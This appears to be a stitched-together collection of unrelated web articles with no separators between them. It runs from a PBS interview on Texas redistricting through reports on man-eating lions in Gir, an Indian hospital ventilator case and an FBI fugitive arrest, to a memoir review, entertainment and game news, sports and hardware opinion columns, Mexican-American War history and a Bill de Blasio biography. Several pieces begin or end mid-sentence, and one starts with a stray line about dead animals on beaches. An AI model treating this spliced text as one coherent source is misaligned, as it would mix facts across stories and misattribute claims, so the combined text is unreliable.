In addition to the rats, workers also found dead hogs, deer, coyotes, snakes and rabbits on the beaches.HARI SREENIVASAN, PBS NEWSHOUR WEEKEND ANCHOR:
A panel of federal judges in Texas is ordering the state of Texas to redraw the state's congressional district map, because it intentionally discriminated against Hispanic voters. The judges ruled Friday that in 2011, Republican state legislators engaged in racial gerrymandering by diluting Hispanic voting strength in two Republican-held districts and by packing Hispanic voters into a neighboring district. The ruling, and another pending case over Texas's strict photo voter ID law, raise questions about how the Justice Department and Supreme Court will handle voting rights.
Joining me now to discuss that is reporter Reid Wilson from "The Hill."
So, explain what happened in these two districts.
REID WILSON, REPORTER, "THE HILL": There's this term called "packing and cracking". And essentially what the court said that the Texas legislature did was they packed Hispanic voters into one district that centered around Austin and they cracked those voters apart in different communities. They divided similar communities in another district on the east coast of Texas and a third district that runs along the Texas-Mexico border.
So, this is all part of a pattern that Democrats say Republicans engage in in states where they control state legislatures in hopes of building more safe Republican districts and in cementing their majority in the U.S. House of Representatives.One of the 17 lions, captured last month for killing three persons near the Gir sanctuary, has been identified as a'man-eater' and shifted to the Sakkarbaug Zoo in Gujarat.
"A man was killed by a pride of 15 lions. We captured one and found it to be a man-eater. We have now sent the lion to Sakkarbaug Zoo. We have decided to capture the entire pride and shift them. Till now, we have captured 13 lions and kept them in a rescue centre. A scat analysis will be conducted there," AP Singh, Chief Conservator of Forest (Junagadh division) told ANI.
He further said that out of the 17 lions captured by them last month, one was a male adult, and it turned out to be the main culprit.
"We found considerable amount of human remains in that lion's faeces, while very small amount was found from the faeces of two sub-adult females. It brought us to the conclusion that the male lion attacked, killed and ate humans, while two other sub-adults only ate some leftover body parts. These sub-adults were not involved in attacking and killing humans, as they only ate the leftover parts," said Singh.
Singh added the male lion would be kept in a cage at the zoo for its entire life on the outskirts of Junagadh city, while the two lionesses would be kept locked in any of forest department?s rescue centre.
"All the three lions have to spend their lives in captivity now. The other 16 lions of the pride, including several cubs, will be released in the (Gir) sanctuary. As a precaution, they will be released in deeper pockets of the sanctuary, far away from where they were captured," he said.
The pride of 17 lions was caged last month outside the Gir Wildlife Sanctuary in Dhari taluka of Amreli district, on the border of the Gir Wildlife Sanctuary.
A major portion of the Gir sanctuary falls in the adjoining Junagadh district and Dhari taluka lies on the border of the sanctuary.
The forest department had started the drive to cage the lions after three persons - a 14-year-old boy, a woman aged around 50 and a 61-year-old man - were mauled to death by the felines in the same region in April and May.
Prior to these incidents, the man-lion conflict was rare in and around Gir, the only abode of Asiatic lions where there are around 523 lions, as per the last census.
These incidents sparked anger among the locals, who along with some political leaders, including former Amreli MLA Dilip Sanghani, demanded action against the man-eater lions.The family of a patient in a Sion hospital, who was allegedly declared dead, discovered on Wednesday that he was breathing hours after his ventilator was removed. The family registered a complaint with the local police, who immediately arrested a doctor.
Chandrakant Gangurde, 59, a Dharavi resident, was admitted to Atharva hospital and research centre on December 5 after he fell unconscious at home.
Atul Gangurde, his son, said, “My father was unconscious when we admitted him to Atharva hospital. MRI and CT Scans showed that he had a brain haemorrhage due to which his left side was paralysed.”
“On Tuesday night, Dr Atul Chirmude called us to his room where he told us there is no chance of my father’s condition improving and that he was 95 % dead. He also told us that the moment we remove the ventilator, he would be officially dead.”
According to Gangurde, the hospital requested him to take away the ‘body’ at night. “We requested the hospital to not to remove the ventilator in the night as we had to inform our relatives,” said Gangurde.
On Wednesday morning, hospital authorities removed the ventilator and the family was shocked to see that Chandrakant was breathing by himself. “We were taken aback when we saw him breathing on his own and decided to shift him to another hospital. We later registered a police complaint against the hospital for negligence,” said Gangurde.
Gangurde said that the hospital had declared him dead and that’s why they agreed to remove the ventilator. “If the hospital had told us that he was alive, we would have never allowed them to remove the ventilator,” said Gangurde, commenting on why a letter of consent was signed.
A resident medical officer from the hospital, however, claimed that Chandrakant was not declared dead and his family had wanted to shift him to Kohinoor hospital in Kurla.
“Based on the family’s complaint, we have registered a case under section 336 (Act endangering life or personal safety of others) and 287 (negligent conduct with respect to machinery) of the Indian Penal Code.
We arrested Dr Chirmude immediately after the case was registered,” said Baburao Gavit, senior inspector of the Sion police station.BY:
By the summer of 2013, President Obama had convinced several key Israelis that he wasn’t bluffing about using force against the Iranian nuclear program. Then he failed to enforce his red line against Syrian dictator Bashar Assad—and the Israelis realized they’d been snookered. Michael Oren, the former Israeli ambassador to the United States, recalls the shock inside his government. "Everyone went quiet," he said in a recent interview. "An eerie quiet. Everyone understood that that was not an option, that we’re on our own."
Reading Oren’s new memoir Ally, it’s clear that Israel has been on her own since the day Obama took office. Oren provides an inside account of relations between the administration of Barack Obama and the government of Bibi Netanyahu, and his thesis is overwhelming, authoritative, and damning: For the last six and a half years the president of the United States has treated the home of the Jewish people more like a rogue nation standing in the way of peace than a longtime democratic ally. Now the alliance is "in tatters."
Oren is not a conservative looking to make a political issue of support for Israel. Indeed, by Washington Free Beacon standards, he’s something of a squish. The author of a classic history of U.S. involvement in the Middle East and a sometime professor at Yale, Harvard, and Georgetown, Oren served for five years as a contributor to the New Republic, has contributed to the New York Review of Books, and supports what he calls a "two-state situation" focused on institution-building and economic aid to the West Bank. He’s a member of the Knesset, but not of Netanyahu’s Likud Party. He joined the comparatively dovish Kulanu Party last December.
Oren’s credentials and relationships make him hard to dismiss. "The Obama administration was problematic because of its worldview: Unprecedented support for the Palestinians," he told Israeli journalist David Horovitz, another centrist, this week. Obama and his lieutenants, including Hillary Clinton, have often behaved as if the Palestinians don’t exist—Palestinian actions, corruption, incitement, campaigns of de-legitimization and terrorism are overlooked, excused, accommodated. Oren tells the story of what happened when Vice President Joe Biden asked Palestinian president Mahmoud Abbas to "look him in the eye and promise that he could make peace with Israel." Abbas looked away. The White House did nothing.
It was Israel that had to agree to a settlement freeze before the latest doomed attempt at peace negotiations; Israel that had to apologize for possible "mistakes" against the Gaza flotilla; Israel that had to close Ben Gurion airport; Israel that faced a "reevaluation" of her diplomatic status after Bibi’s reelection. Obama addresses the bulk of his lectures on good governance and democracy and humanitarianism not to the gang that runs that West Bank, nor to the terrorists who rule Gaza, but to Israel. During last year’s Gaza war, the State Department was "appalled" by civilian casualties inflated and trumpeted by Hamas propagandists. Oren points out that in the past the president had used the word "appalling" to describe the atrocities of Muammar Qaddafi. Qaddafi and the IDF—two peas in a pod, according to this White House.
What Obama wanted was to create diplomatic space between America and Israel while maintaining our military alliance. Oren says military-to-military relations are strong, but the diplomatic fissure has degraded Israel’s security. America, he says, provided a "Diplomatic Iron Dome" that shielded Israel from anti-Semites in Europe, at the U.N., and abroad whose goal is to delegitimize the Jewish State and undermine her economically.
This rhetorical missile shield is slowly being retracted. The administration threatens not to veto anti-Israel U.N. initiatives, Europe is aligning with the Boycott Divestment Sanctions (BDS) movement, and anti-Israel activism festers on U.S. campuses. Obama’s unending criticism of Israel, and background quotes calling Israel’s prime minister a "chicken-shit" and a "coward," provide an opening for radicals to go even further.
The diplomatic rupture endangers Israel in another way. It preceded Obama’s quest for détente with Iran, Israel’s greatest enemy and most pressing threat. Oren was outraged in 2013 when he learned that the administration had been conducting secret negotiations with the mullahs. Now, with the United States about to clear the way for Iranian nukes and flood the Iranian economy with cash, Israel is all the more at risk.
"Obama says Iran is not North Korea," Oren said, "and Bibi says Iran’s worse than 50 North Koreas. It all comes down to that." Fixated on striking a deal, Obama is preparing to concede the longstanding demand that Iran disclose its past nuclear weapons research, is ignoring the issue of Iranian missile development, and is standing idle as Iran props up Assad, arms Hezbollah with rockets, and promotes sectarianism in Iraq. Israel is hemmed in—by Iranian proxies and Sunni militants on its borders, by the threat of a third intifada on the West Bank, by global nongovernmental organizations, by a condescending, flippant, and bullying U.S. president whose default emotional state is pique.
As if to make Oren’s case for him, the Obama administration responded to the publication of Ally with neither silence nor a reiteration of American policy toward Israel but with vituperation, demanding that both Kulanu Party chairman Moshe Kahlon and Prime Minister Netanyahu apologize for criticisms Oren had made. Kahlon sheepishly distanced himself from Oren, and Netanyahu won’t comment publicly, but the episode illustrates precisely the model of U.S.-Israeli relations outlined in this book: A "family" argument where the criticism runs in only one direction. On the one hand, when the supreme leader of Iran calls John Kerry a liar and details plans to destroy Israel, the Obama administration brushes it off. On the other, when a former ambassador writes a memoir based on a diary he kept while in office, the administration loses its mind.
The alliance has faltered to such a degree that Oren is morose. He wonders whether Israel is in the same precarious position it was in 1967, before the Six Day War, or in 1948, when it came close to never being born. Neither option is comforting. David Horovitz asked him, "Are people going to look back in a few years’ time and say, ‘This is what they were talking about in Israel as Iran closed in on the bomb and they were wiped out?’" Oren’s response: "It’s happened before in history, hasn’t it?"
It has. And it may happen again. But whatever happens, thanks to Michael Oren, history will know that an inexperienced and ideologically motivated president drove a lethal wedge between the United States of America and the young, tiny, besieged Jewish State.The comedian will also produce the adaptation of the best-selling book, which was picked up by CBS Films.
Will Ferrell is teaming with CBS Films to adapt the best-selling novel The 100-Year-Old Man Who Climbed out the Window and Disappeared, The Hollywood Reporter has learned exclusively.
Ferrell is attached to star in and produce the project with Adam McKay and Jessica Elbaum via the trio’s Gary Sanchez Productions shingle. Andy Licht and NiceFLX Pictures’ Pontus Edgren and Mikael Wallen are also on board to produce.
Jason George (Narcos) is set to write the screenplay that translates Jonas Jonasson's 2012 book. CBS Films picked up the book's rights.
The 100-Year-Old Man centers on a man who, on the night of his 100th birthday, escapes from his nursing home and hits the road, with the ensuing inadvertent adventure involving criminals, a bag of cash and an elephant. But his time on the run reveals that the former explosives expert was involved in some of the defining moments of the 20th century and that he crossed paths with figures such as Joseph Stalin, Sir Winston Churchill and Charles de Gaulle. Before long, past and present are on a collision course.
"My character, Allan, knows the art of being funny just by being," said Jonasson in a statement. "That is something Will Ferrell masters to perfection. Great humor with small measurements. I am happy that Allan is now in his hands."
The new onscreen adaptation of The 100-Year-Old Man has been described as being akin to the 1994 Tom Hanks classic Forrest Gump, but more darkly comedic. The book has sold over 10 million copies worldwide, and the Oscar-nominated local-language feature adaptation became one of the highest-grossing Swedish movies of all time.
Felix Herngren and Henrik Jansson-Schweizer, who co-wrote the screenplay for the Swedish adaptation, will serve as executive producers, and Joshua Mehr will co-produce. Mark Ross and Alex Ginno are overseeing the project for CBS Films.
Ferrell is coming off the New Line Cinema comedy The House, and has Daddy’s Home 2 with Mark Wahlberg as well as Holmes and Watson with John C. Reilly being readied for release.
Ferrell and Gary Sanchez are repped by UTA, Mosaic and attorney Deborah Klein. George is repped by ICM Partners, Kaplan Perrone and Gang Tyre.Vita Title Turns Madoka Magica Into A Third-Person Action Game
By Eugene. September 17, 2013. 1:30pm
Both the original storyline and unique Soul Gem battle system for Namco Bandai and Dragon Ball Z: Battle of Z developer Artdink’s upcoming title Puella Magi Madoka: The Battle Pentragram have been released.
Going into battle during the Night portion of the game, players choose one magical girl to control as she delves into a witch’s domain alongside an AI-controlled partner. The game then turns into a 3D action-adventure title. Players have health and mana bars to manage, with more powerful skills costing more mana to use.
Both are finite resources, but it’s possible to recharge them using the Soul Gem system. Each character has a Soul Gem that starts off at three charges. One charge will completely refill either health or mana, while three brings a girl back to life if she falls in battle. While it’s possible to level up Soul Gem charges by defeating bosses, players will have to carefully manage this limited resource.
The original story is supervised by Magica Quartet—the series’ creators—and is a “What if” take on the Madoka series. The Madoka series has girls exchanging their souls for Soul Gems to become magical girls who fight witches and monsters. Unfortunately, Soul Gems which absorb too much grief and despair turn their users into the very witches they fight against.
The Battle Pentagram starts from the first two Puella Magi Madoka movies, but spins off when main heroine Madoka Kaname makes a different wish: Wishing instead for “All five girls to have the faith and reliance on each other to defeat Walpurgis Night,” the game now sets players to building up the bonds of trust and friendship between the five magical girls: Madoka Kaname, Homura Akemi, Mami Tomoe, Sayaka Miki and Kyoko Sakura as they seek to destroy the witches plaguing the human world.
To do so, the Day half of the game will have players conversing characters with one another to build relationship hearts. How players perform with each other during the Night battle half will also affect these bonds. Each girl comes equipped with their own form of weaponry: Madoka uses a bow with light arrows, while her main partner Homura can control time and uses more conventional guns. Mami and Sayaka are polar opposite weapon users, the former using long-range ribbons and rifles and the latter a sword and fast speed to dash up to foes. Kyoko uses a chained staff that lets her either keep her distance or get in close.
Puella Magi Madoka Magica: The Battle Pentagram will be out for the Sony PlayStation Vita in winter 2013.Using Native Plants In Your Landscape Will Make You Thankful
When you use native plants in your landscape, there is a lot to be thankful for. The biggest advantage of using native plants is that they are already used to our environment and can generally withstand the challenges of our weather and pests. By choosing the right species for the right place it is also possible to reduce maintenance tasks such as pruning and even watering.
What Is A Native Plant?
Native plants are the species that have evolved in this area and are adapted to the growing season, local climate and soils. They often require less water, fertilizer, and pesticides than the exotics, or non-natives, and hybrids. More importantly, native plant species are critically linked to native wildlife. Our local insects, birds and small wildlife have evolved alongside native plants. These long-standing relationships allow our ecosystem to function at its best.
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—though superficial—can still create a sense of worth that is painful to fall from.
The show is written from Eliza’s perspective, and she narrates events with groan-worthy, corny-as-hell, yet somehow endearing and even kind-of-clever puns, as if Carrie Bradshaw were writing her Sex and the City column in 140-character tweets and emoticons.
“When Siri is the only one who’s there for you, it makes you realize: being friended is not the same thing as making friends,” she says, as an example.
When you suspend disbelief and watch Selfie through a prism where it’s a fantasy-world alternate reality, where people speak in self-aware, carefully crafted maxims and quotables, lines like this are actually really funny— exceptionally astute and observant about today’s culture. But if you look at Selfie as some sort of realistic meditation on a social media-obsessed, narcissistic generation—which it’s tempting to do, especially as some of Eliza’s self-serving transgressions hit closer to home than others—then you’ll likely find writing like this to be maddening.
Then there’s the question of timeliness. This TV show is called Selfie, a word that all “the kids” were saying and now has made its way to grandparents trying to be hip. Its timeliness, then, is its blessing—lots of really smart, relevant jokes—and its curse—those jokes are going to look really dumb and outdated really soon, if not by the end of the next commercial break.
There’s a fun thing to do when watching reruns of sitcoms like Will & Grace or Frasier, where a reference is made to something in pop culture that seemed like a big deal at that moment but which has long-since evaporated from our collective conscience. A Nancy Kerrigan joke, perhaps. Or a reference to Enron, or Elian Gonzalez, or the Baha Men. That time Hugh Grant picked up a prostitute. You can almost pinpoint the exact date, or at least to the week, of when that joke was written.
Selfie is almost exclusively made of those kinds of jokes.
A lot of them are really sharp, hyper-specific references that land laughs because they’re actually pretty inventive. “I waited until the coast was clear, like Katy Perry’s skin on Proactiv,” Eliza says. (C’mon! That’s worth an LOL.) While in the throes of depression over her married lover, none of Eliza friends were able to console her, because “all the girls I knew were either drunk or at SoulCycle.” Topical! And funny!
Other attempts at right-now humor, however, were more cringe-worthy, like when Eliza says she is “willing to make like Elsa and ‘Let It Go.’” Just no. No more Frozen. No more.
But topical as a lot of Selfie’s writing is, there are lines that are timeless. “Eliza, I’m sure you’re aware it is possible to be beautiful on the outside, but still ‘butt’ on the inside,” Henry says. “Like Gwyneth Paltrow,” Eliza replies, finally understanding the concept of inner beauty. GOOP jokes will never die.
As one might expect when a TV show is both so appealing to one demographic and so toxic-seeming to another, early buzz about Selfie is wildly polarizing. Fittingly to that point, its Rotten Tomato score (as of Tuesday evening) was a flat 50 percent. Polarizing!
Matt Webb Mitovich at TV Line called it “fall’s best new half-hour comedy” and Andy Greenwald at Grantland thinks it has “the highest upside” of the all the freshman comedy offerings. On the flip side is the Orlando Sentinel’s Hal Boedeker: “Beware of this mess.”
So, yes, in other words, Selfie is both brilliant and terrible. Just like Gwyneth Paltrow.When he was initially arrested in the 1977 shooting death of a former immigration official in Florida, William Claybourne Taylor posted bond and disappeared. Decades later, federal agents have finally caught up to him in North Carolina.
Taylor, 67, was taken into custody Thursday in Reidsville, North Carolina, where he had been living under a false name, the FBI said in a news release.
The FBI has identified Taylor, who was on the agency's Most Wanted list, as the triggerman in an attempt to kill the former mayor of a small Florida town. The January 1977 shooting left the mayor wounded and a former official with the Immigration and Naturalization Service dead, the release said.
According to an account in The Gainesville Sun on the 36th anniversary of his disappearance, three years passed before Taylor, older brother Ray Taylor and another man were accused of scheming to assassinate the mayor and then collect legal fees by representing his family.
Ray Taylor had moved to Tennessee and become a successful prosecutor, according to the paper, but was convicted in 1980 as chief planner in the plot.
Media reports say the third man, believed to be the driver of the car from which the shots were fired, testified against Ray Taylor in exchange for a manslaughter conviction and was sentenced to 15 years of probation.
William Taylor was indicted in May 1980 on charges of murder and aggravated battery and arrested five days later in Chattanooga, Tennessee, the FBI said. The agency said he never returned to Ocala, Florida, after being released in Tennessee on a $20,000 personal recognizance bond. A federal arrest warrant was issued in August 1980 after Taylor was charged with unlawful flight to avoid prosecution.
Taylor's wanted poster lists his occupations as dance instructor, trumpet player, keypunch operator and welder, among other things.
The FBI's release doesn't give details but says the agency recently discovered he was living under a false name and confirmed his identity once he was in custody.
"William Claybourne Taylor thought he could avoid taking responsibility for this horrible crime, but our agents continued an exhaustive search year after year," said Michelle S. Klimt, special agent in charge of the FBI Jacksonville Division.
The FBI statement doesn't identify the victims. However, a story published in 2013 in the Ocala Star-Banner identified the man killed as 64-year-old Walter H. Scott, of Archer, and the man injured as former Williston Mayor Eugene T. Bailey, who was shot three times.
The report says the shooting occurred as they were driving along U.S. 27 about 18 miles west of Ocala when another car pulled alongside their vehicle. The newspaper report says the victims' car veered into pine trees after the driver was shot. A person approached the back of the car and shot Bailey, the newspaper reported.
Two other men in the car escaped unharmed, the newspaper reported.
Taylor is being held in a detention center in Guilford County, the release said. It wasn't clear Thursday if he has an attorney.
Reidsville police didn't return phone calls seeking comment.Jose Mourinho’s personality demands that he stands at the centre of every stage. He is the guaranteed headline. When he wins, we see Mourinho’s smile on the back of newspapers and the top of websites. When he loses, we see his anger. This is Jose’s world; every club is his fiefdom.
That is the inevitable result of employing a manager who doesn’t just pride himself on egocentricity, but makes it his raison d’etre. Mourinho obsesses about being the best to the point that second is nothing – you cannot demand adoration when you succeed and yet shy away from the spotlight when things go awry.
Not that Mourinho is afraid to apportion blame or deflect attention, of course. Referees, injuries, other managers, fortune, his own players and fixture schedules are all regular targets for Mourinho in times of strife. If that seems harsh, read the first paragraph again.
When his teams are beaten fair and square, and no excuse comes to hand, the trick is to create a media sensation that will become fish and chip paper for the subsequent few days. See the dressing room kerfuffle post-Manchester City loss that was upgraded to full-blown war by a media that needs eyes on stories and a public increasingly obsessed by football as soap opera.
Unfortunately, media diversion does not work when you drop points at home to a Burnley team that were outclassed by Tottenham in their own stadium just a few days before. Mourinho deserves credit for his half-time changes, but there can be no reasonable excuse for the limp display before the final hurrah. However they got there, this was a dismal result.
If Mourinho does want to mention absences, then James Tarkowski, Chris Wood, Robbie Brady, Stephen Ward and Tom Heaton were all missing for the visitors. A defence of Kevin Long, Charlie Taylor, Ben Mee and Phil Bardsley eventually wilted under pressure, but a point at Old Trafford is a tremendous achievement. Manchester City will now have the opportunity to surge 15 points clear before the final fixtures of 2017. Chelsea, apparently beset by problems, are a point behind.
Last season, despite plenty of pundits picking Manchester United to win the title and Mourinho himself aiming for that goal, the manager changed the mood. That was done partly through lowering expectations via media comment but also through success in cup competitions. What could have been disastrous ended up being perfectly acceptable.
This season, they are out of the title race, eliminated from the League Cup and face a far tougher assault on European success. Mourinho will not (or should not) be allowed to promote second place with any glint of success. That is not how Manchester United created a dynasty.
Again, Mourinho has tried to shift the mood. We are told how nobody could have been expected to compete with Manchester City, as if Manchester United weren’t top of the league at the end of August and level on points with their rivals at the end of September. Since then, United sit fifth in a Premier League table with the same number of points as Burnley. City have soared, but United stumbled too.
We did not expect United to win the league, but we expected a challenge. We expected Jose ‘second season’ Mourinho to demonstrate the repertoire that has served him so well. We expected better than this.
‘Jose Mourinho challenges Manchester United aces to go for Premier League and FA Cup double and a minimum of quarter-finals in Champions League,’ read the headline in late-August, presumably leaked to a favourable media source. Those takes cannot just be erased in hindsight. Mourinho expected better too.
And so we are permitted to criticise a run of results that has included defeat to Manchester City, fortunate victory over Arsenal, hanging on against Watford, Bournemouth and West Brom, losing to Bristol City and drawing against ten-man Leicester and Burnley. Ever since the Liverpool lethargy, instigated by Mourinho anti-ambition, United have struggled. Coincidence?
The problem here is that criticism is hard to take. The dominance of Mourinho’s personality forces his club’s supporters to buy into his hype, into Brand Mourinho, and so accepting criticism of him becomes an admission of weakness.
Dare to find fault, and ‘you just hate Mourinho’ soon follows. The internet has become the natural habitat for the accuser of bias, but normally it is against an entire club. Mourinho is a club of one.
After 20 league matches of last season, Manchester United had earned 39 points. After 20 matches of this season, United have 43 points. If four extra points after buying three new first-team players for a combined £150m represents progress, that progress is not sufficient. In an industry where extreme opinions sell best, this is not a disaster but nor is it success. Rather than black and white, United are a disappointing grey.
Daniel StoreyAMD hasn't launched Bulldozer today; instead, they made the mistake of launching the FX-8150 and the FX-8150 only. This is where the problem lies with what AMD has done today with the launch of the new Bulldozer CPU. So, maybe it's not the marketing team; maybe the marketing team wanted to do what I think they should've done, but the suits up top wouldn't let them. The problem is, when we look at a launch of a product, we deal with the marketing people; they're the people that sample us and we feel that if something happens in that area, it's because of the marketing team. I don't really want to point the finger at just them, though. I think the whole corporate culture at AMD is what hurt the launch of the Bulldozer CPU. If you really start to break down the Bulldozer platform and item by item compare the pricing of the FX-8150 with the main competitor, the Intel i7 2600k, you can see for the cost of an extra $30 US you're able to achieve a system that carries with it a GTX 580 instead of a GTX 560 Ti. To really get the break down on this, I highly recommend you read the final thoughts of our AMD FX-8150 (AM3+) CPU launch piece. It's a compelling argument, but it's not one that's going to ultimately win out for AMD when it comes to people wanting flagship products. AMD have always had this focus on giving us quality products at a fantastic price point. We've seen that over recent years with the AMD line of video cards and the recent release of the Fusion platforms also see some awesome performance at a great price point. Even the Phenom II CPUs of yesteryear sit in that category. So with that focus so obvious, why did AMD go against what they normally do? - The FX-8150, in the battles it is going to face at launch can't beat the 2600k CPU from Intel. Flagship product against Flagship product, the Intel i7 2600k is just shining so bright. Still, AMD are going to promote the flagship CPU at launch. Iit's stupid not to and if they didn't, it would send out a bunch of messages which we would all decrypt with the conclusion that AMD are scared. The problem is that it seems AMD have that product ready at launch that goes against the company's core values which fit in an area where they shine so bright. Value. The FX-6100 is a 6-Core CPU; it carries a default clock of 3.3GHz and has a maximum Turbo speed of 3.9GHz. It's listed in the original documents as coming in at $175 US, but that price was dropped $10 US to $165 US just days before launch. This is what AMD needed to be sending reviewers and they needed to be sending it with an Intel CPU. AMD needed to send us three CPUs. You might think that's greedy of us to ask that, but it would actually be greedy of AMD wanting us to test them all. To be honest, though, it's what's needed to be done for them to show just what the new platform is capable of. Ok, so the question is, what three CPUs do they send us? Easy - the $245 US FX-8150, that's a no brainer. They need to send the flagship product. The second, the $165 US FX-6100; that's obvious because it's the one I've just been talking about. The final processor that needed to be shipped, though, was the $179.99 US Intel Core i5-2300. GO TO TOP OF THE NEXT COLUMN ^
The Intel Core i5-2300 is a 2.8GHz CPU (3.1GHz via Turbo) that can't overclock. Not being part of the "K" series line up from Intel means that you have to rely on BCLK overclocking to increase. BCLK overclocking at most can only be 10% no thanks to a 110 BCLK limit, and finding a CPU that can do that is extremely rare. For the most part you'd probably be looking at a 5% overclock via a 105 BCLK. The FX-6100 via Turbo is offering us 3.9GHz and via overclocking let's say we be lenient and we can get 4.5GHz out of it. To be honest, I would expect maybe higher than the FX-8150, because we've got less cores. I could be wrong, but it's possible we could see around the 5GHz mark from a FX-6100 that clocks well. Of course, that's just pure speculation and even if we work off 4.5GHz, we can get a good idea of what to expect. Even if the FX line from AMD isn't as optimized as the Intel one, an overclock that is anywhere from 1.5GHz to 2GHz stronger than its main competitor should just smash that option. The thing is, it completely changes the conclusion of the platform and this is where the issue lies. Today AMD haven't launched the Bulldozer platform, they've launched the FX-8150 to the market. The FX-8150 doesn't represent AMD well; it doesn't do what AMD are great at, offering well priced products that can take on the competition at that price point. This is what AMD has given us to work off, though, when it comes to the Bulldozer platform, and I can't honestly say where the blame needs to be put. If you point at one group of people, they're going to point to the person above them and etc, etc until we get to the point where the CEO is to blame, and to be honest, that's probably the person mostly at fault here. I get it, they've got this new person come in who has loads of experience in a "CEO" type position. He can come out, rally the troops and give off an inspirational speech. That's all good and well, but your consumers don't care about that and nor do the media. To be honest, so many people linked me to the video of the speech saying how great it was, but I didn't even listen to it. Don't let the CEO do the talking, let the product do the talking. Today AMD let the FX-8150 talk on behalf of a whole platform. This was a mistake. Like Intel, who when launched the P67 / 1155 socket line-up sent both the 2500k and 2600k, processors about $100 US apart from each other, AMD should've done the same thing. They needed to go down to Newegg, though, and pick up a bunch of i5-2300 CPUs as well, though, because it's what the FX-6100 needs to be compared against and it's not a CPU that Intel sample. If you ask for one a week prior to Bulldozer as well, your request would be denied. We could buy them, and while I would've done that as I bought an i3 at the launch of the E-Series APU, you won't have a lot of sites who did that and in turn the FX-6100 would be compared against both "K" series CPUs from Intel. This might come off as a personal attack at AMD, but I have to be honest here. I've called AMD out before and they've responded positively to it. What I like about them is they don't have their head so far up their butts that they think the media and public are just a bunch of plebs. Someone once told me; the problem with AMD is that they're an "Engineering" company, unlike NVIDIA who are a "Marketing" one. NVIDIA has the ability to make products that aren't great, while looking fantastic with marketing. Unfortunately, AMD have this issue where they make fantastic products look bad because they're not launched in the same way. I'd love to hear from someone at AMD who can actually tell me why this launch happened this way. I don't mean someone who tells someone who tells someone who tells my main contact who then tells me. I mean someone really within AMD who makes the decision behind this kind of thing. Who at AMD said we need to send a Crosshair V Formula and Belt Buckle with our FX-8150 and not a FX-6100 and Intel i5-2300 with the FX-8150. I told someone about this article prior to writing it, and straight away they saw what I was trying to achieve with it. Hopefully I'm able to open enough people's eyes to not judge the whole "Bulldozer" platform on just the FX-8150, but instead all three models with the FX-6100 being a huge focus. If we can make people just think long enough on if they should go Z68 / 1155 CPU or 990FX / Bulldozer 'till we're able to get an FX-6100 and i5-2300 on hand and we can test them ourselves and show you the Bulldozer platform on a wider spectrum, I'll be ecstatic and I think AMD would as well... assuming the FX-6100 doesn't suck!On May 13, 1846, the U.S. Congress overwhelmingly votes in favor of President James K. Polk’s request to declare war on Mexico ina dispute over Texas.
Under the threat of war, theUnited Stateshad refrained from annexing Texas afterthe latterwon independence from Mexico in 1836. But in 1844, President John Tyler restarted negotiations with the Republic of Texas, culminating with a Treaty of Annexation. The treaty was defeated by a wide margin in the Senate because it would upset the slave state/free state balance between North and South and risked war with Mexico, which had broken off relations with the United States. But shortly before leaving office and with the support of President-elect Polk, Tyler managed to get the joint resolution passed on March 1, 1845.Texas was admitted to the union on December 29.While Mexico didn’t follow through with its threat to declare war, relations between the two nations remained tense over border disputes, and in July 1845, President Polk ordered troops into disputed lands that lay between the Neuces and Rio Grande rivers. In November, Polk sent the diplomat John Slidell to Mexico to seek boundary adjustments in return for the U.S. government’s settlement of the claims of U.S. citizens againstMexico and also to make an offer to purchase California and New Mexico. After the mission failed, the U.S. army under Gen. Zachary Taylor advanced to the mouth of the Rio Grande, the river that the state of Texas claimed as its southern boundary.
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Mexico, claiming that the boundary was theNueces Riverto the northeast of the Rio Grande, considered the advance of Taylor’s army an act of aggression and in April 1846 sent troops across the Rio Grande. Polk, in turn, declared the Mexican advance to be an invasion of U.S. soil, and on May 11, 1846, asked Congress to declare war onMexico, which it did two days later.
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After nearly two years of fighting, peace was established by the Treaty of Guadalupe Hidalgo, signed on February 2, 1848. The Rio Grande was made the southern boundary ofTexas, andCalifornia andNew Mexicowere ceded to the United States. In return, the United States paidMexico the sum of $15 million and agreed to settle all claims of U.S. citizens against Mexico.Bill de Blasio (; born Warren Wilhelm Jr.; May 8, 1961) is an American politician who is currently serving as the 109th Mayor of New York City. Prior to his first election to the position of Mayor, he served as New York City's public advocate from 2010 to 2013.
Born in Manhattan, he graduated from New York University and Columbia University before a brief stint as a campaign manager for Charles Rangel and Hillary Clinton. He started his career as an elected official by serving on the New York City Council representing the 39th district in Brooklyn from 2002 to 2009. His tenure as public advocate saw a reformation of various educational, housing, and campaign finance policies. He was elected Mayor of New York City in the landslide 2013 election and retained his office in 2017, another landslide election.
He initiated new de-escalation training for officers, reduced prosecutions for cannabis possession, implemented the usage of police body cameras, and ended the post-9/11 surveillance program of Muslim residents. He passed free universal Pre-K in the city, although his effort to start a millionaire tax was rejected by New York governor Andrew Cuomo. De Blasio attempted to install an unprecedented rent-freeze citywide for rent-stabilized apartments in 2015.
A self-identified populist, de Blasio has called attention to what he refers to as a stark level of economic inequality in New York City, what he described as a "tale of two cities" during his first campaign. He has publicly supported a socially liberal, progressive, and neoliberal discourse on the city's economy, urban planning, public education, police relations, and privatization. De Blasio has maintained mixed approval rates throughout his tenure, albeit slightly lower than his predecessor, Michael Bloomberg.[nb 1]
Early life and career [ edit ]
Bill de Blasio was born on May 8, 1961 in Manhattan's Doctors Hospital in New York City.[7] He was born to Maria Angela (née de Blasio; 1917–2007) and Warren Wilhelm (1917–1979) as their third son.[8] De Blasio has two brothers, Steven and Donald, thirteen and eight years his senior, respectively.[7] His father was of German ancestry, and his mother was of Italian heritage.[9][10] His maternal grandfather, Giovanni, was from the city of Sant'Agata de' Goti, Benevento, and his grandmother, Anna (née Briganti), was from Grassano, Matera.[11] His paternal uncle, Donald George Wilhelm Jr., worked for the Central Intelligence Agency in Iran and secretly wrote Mohammad Reza Pahlavi's memoir.[12]
Maria de Blasio attended Smith College (1938), served in the Office of War Information during World War II and authored The Other Italy: The Italian Resistance in World War II (1988).[13] His father, a Yale University graduate, worked as a contributing editor at Time Magazine and also served in World War II. He enlisted in the U.S. Army in 1942 and was sent to the Pacific War. During the 82-day Battle of Okinawa, a grenade detonated below his left foot leaving him with an avulsion fracture. After receiving a Purple Heart,[14] he married Maria in 1945, and became a budget analyst for the federal government. During the 1950s–-at the height of the Red Scare–-both Maria and Warren were accused of having a "sympathetic interest in Communism".
